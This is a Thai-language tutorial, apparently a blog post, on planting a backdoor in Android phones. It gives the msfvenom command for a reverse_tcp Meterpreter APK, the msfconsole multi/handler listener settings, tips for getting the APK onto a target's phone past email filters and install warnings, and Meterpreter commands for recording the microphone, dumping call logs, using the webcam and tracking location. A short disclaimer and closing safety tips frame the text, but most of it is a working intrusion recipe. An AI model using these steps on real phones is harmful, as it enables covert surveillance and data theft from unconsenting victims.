ข้อจำกัดความรับผิดชอบ: บทความนี้เพื่อการศึกษาและวิจัยด้านความปลอดภัยเท่านั้น ไม่แนะนำให้แฮกโทรศัพท์ผู้อื่นโดยไม่ได้รับอนุญาต
สมาร์ทโฟน Android เป็นประตูเข้าสู่อุปกรณ์ IoT หลายอย่าง (Nest, Smart Lock, Doorbell Cam) หากผู้โจมตีเข้าถึงโทรศัพท์ได้จากระยะไกล จะควบคุมอุปกรณ์เหล่านั้นได้ บทความนี้สาธิตพื้นฐานการใช้ Kali Linux และ Metasploit (MSFVenom) สร้าง backdoor เข้า Android
พื้นฐาน
Kali Linux มีเครื่องมือครบครันสำหรับทดสอบการเจาะระบบ (Penetration Testing) เราจะใช้ MSFVenom สร้างเพย์โหลด (payload) สำหรับ Android ทำงานได้หลายแพลตฟอร์ม (Windows, Android, BSD, Java, PHP, เป็นต้น)
สร้างไฟล์ APK หลังคา (Backdoor)
- เปิดเทอร์มินัล รันคำสั่ง (แก้ไข IP และ PORT ให้ตรงกับเครื่องผู้โจมตี):
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 R > /root/LOCATION/hackand.apk
- หา IP ของเครื่องผู้โจมตีด้วย
ifconfig(ปกติใช้พอร์ต 4444) - ไฟล์
hackand.apk(ประมาณ 10 KB) จะถูกสร้างขึ้น — นี่คือไฟล์ exploit หลัก
ตั้งค่า Listener ด้วย msfconsole
- เริ่ม PostgreSQL และ msfconsole:
service postgresql start msfconsole
- ใช้ multi-handler:
use multi/handler set payload android/meterpreter/reverse_tcp set LHOST IP_ADDRESS set LPORT 4444 exploit
- รอการเชื่อมต่อจากเป้าหมาย
ติดตั้ง APK บนโทรศัพท์เป้าหมาย
- ส่งไฟล์
hackand.apkไปยังโทรศัพท์ (USB, อีเมลชั่วคราว — Gmail/Yahoo มักบล็อกไฟล์นี้) - Android จะเตือนความเสี่ยง แต่ผู้ใช้สามารถกด "Install anyway" ได้ภายใน 20 วินาที
- หลังติดตั้ง แอปอาจซ่อนตัวเองไว้ในระบบ
คำสั่งควบคุมผ่าน Meterpreter
หลังเชื่อมต่อสำเร็จ ใช้คำสั่งใน meterpreter (พิมพ์ help ดูรายการทั้งหมด):
record_mic: บันทึกเสียงจากไมโครโฟนdump_calllog: ดึงประวัติโทรศัพท์webcam_chat: เริ่มวิดีโอคอลgeolocate: ตรวจสอบตำแหน่ง GPS
หมายเหตุ: โทรศัพท์ Android รุ่นใหม่มีกลไกป้องกัน (Google Play Protect, การอนุมัติสิทธิ์ที่เข้มงวด) ทำให้ exploit แบบนี้ทำงานได้กับรุ่นเก่ามากกว่า
ข้อคิดเหลือ
การโจมตีแบบนี้แสดงถึงช่องโหว่ด้าน IoT Security ควรระวัง: ไม่ติดตั้งแอปจากแหล่งไม่ไว้วางใจ อัปเดตระบบตลอดเวลา ใช้ล็อกหน้าจอ และเปิด Google Play Protect